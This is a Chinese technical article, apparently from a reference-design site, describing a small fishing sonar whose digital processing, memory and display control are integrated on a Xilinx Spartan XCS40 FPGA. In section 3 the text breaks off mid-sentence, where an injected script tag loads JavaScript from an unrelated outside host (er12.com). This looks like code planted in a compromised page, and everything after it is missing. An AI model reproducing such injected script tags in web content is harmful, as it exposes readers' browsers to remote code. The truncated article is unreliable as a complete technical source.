利用FPGA现小型声纳的片上系统集成

摘要:介绍大规模、高速度的fpga在小型渔用声纳系统设计中的应用。在该系统设计中,采用了xilinx公司的fpga芯片xcs40作为主要器件,基本上将整个系统的功能集成在了一片芯片上。实践证明,即降低了成本,又缩短了设计和调试的时间。

      关键词:声纳 fpga 片上系统

      从传统意义上来说,fpga等通用可编程器件往往被应用于速率较低的dsp设计中,而在高速的dsp应用中,则往往使用专用的dsp芯片及集成电路进行设计。这样做虽然满足了对速度的要求,但是开发周期较长,产品的调试修改升级比较困难,而且灵活性较差。

      随着工艺水平的提高,fpga等可编程器件的速度和规模都有了很大的提高,而且它还具有集成度高、体积小、功耗低、设计灵活等优势,这样就为利用可编程器件实现高速dsp处理开辟了道路。目前新一代的fpga等可编程器件,不仅在速度上能满足dsp的要求,而且可编程资源也大大增加,在系统级集成方面也能满足需要,从而提高了系统的灵活性和适应性。因此,在开发周期较短或对系统灵活性要求较高的场所,fpga能够提供比专用dsp器件更高的系统速度和更好的解决方案。

      我们在设计小型声纳的过程中,根据系统的要求,采用了xilinx公司的spartan xcs40芯片。

      1 器件介绍

      spartan系列的xcs40是xilinx公司推出的低价格、高性能的现场可编程门阵列。它的主要特点是:

      ·系统门的数目达到了40000,logic cell数目达1862,系统资源丰富

      ·具备片上可配置分布式ram 最多配置的ram比特数达25088位

      ·分布式算术逻辑单元,支持分布式dsp运算

      ·支持alliance core及系统集成 2 由xcs40构成的声纳系统的原理

      以xcs40为主体构成的渔用声纳的基本功能框图如图2所示。其中,虚线内的功能模块全部集中在xcs40芯片内。小型渔用声纳系统的基本工作原理是根据从水下反射的声波回波信号,显示水下鱼群和海底的深度情况。这种小型的声波探测系统在渔业生产和航海安全上起着很重要的作用,在小型船舶上使用相当普遍。整个系统分为模拟和数字两大部分。

      模拟部分根据环境噪声和量程的要求,50khz或200khz载频的键控脉冲经过缓冲、整形、推动和推挽功放之后,调制信号送到声波换能器发射到水中。接收电路为一外差接收机。不同频率的反射信号经过前放后,与本机的晶振混频,产生455khz的中频信号,经过两级中放和检波后,由a/d变换器形成3比特的数字信号,送到声纳的数字处理部分。收发转换模块控制着收发信号的隔离,避免它们之间的串扰,尤其要避免发射信号串入接收机端而引起接收机性能的大幅度下降。同时,通过时变增益控制(tvg)等手段,使得输入信号的动态范围得到了压缩,增大了接收机的工作范围,也使得整个模拟部分的抗干扰性和信噪比得到了提高。

      整个声纳系统的数字部分集中在一片xcs40芯片中。经a/d变换后的数据,在数据获取控制单元的协调下,通过正常记录和海底锁定记录两个通道分别进入输入存储器。输入存储器中的回波数据,经过相关处理、杂波消除、强度变换和坐标变换等一系列信号处理后,在fpga中内置的显示控制模块的管理下写入vram。与此同时,显示控制模块产生行场同步信号,并把不同强度的回波信号转换成伪彩色信号,驱动相应的r、g、b输出,将vram中的数据最终显示在监视器上。整个数字系统的运行也由fpga内置的mcu模块来控制,提高了系统的集成度。

      3 分布式计算与内置ram

      由于fpga基于sram的特性,特别适合乘法和累加等dsp算法,也可以用其实现广泛的数学函数运算。在设计上也可?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计